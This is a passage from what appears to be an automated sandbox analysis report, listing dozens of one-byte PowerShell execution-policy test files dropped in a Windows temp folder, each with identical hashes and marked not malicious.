                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_al02eyt0.byz.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awiiwljg.ca4.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbv4k1wg.5jp.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_botyzcxx.ly2.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ccejk5li.tnj.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cins2nm1.n0h.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ckso4oeb.lsq.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcsz2tgv.c4z.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dnym3h0h.lgu.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f14pz02z.fk3.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gisyuvi2.w4w.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gpt2alee.mf1.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hmhcfaus.zwk.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwcnnajq.5to.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5nbrbwv.vxz.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzqxri4m.1h2.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kyw2dppr.blb.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l01qzh3p.q5p.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l5beeqtv.ntf.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfwrm3sq.sld.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmhgmusn.0ul.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_puizrsyk.uog.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qhumpfm5.ofm.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qm2nmq1b.pbk.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlztmvw3.knx.ps1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t20ifuhh.kxc.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5gakj4m.lvo.psm1

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:very short file (no magic)
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1
                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:U:U
                                                                                                                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:unknown
                                                                                                                                                  Preview:1

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tyehmi2v.b4f.psm1

                                                                                                                                                  Download File
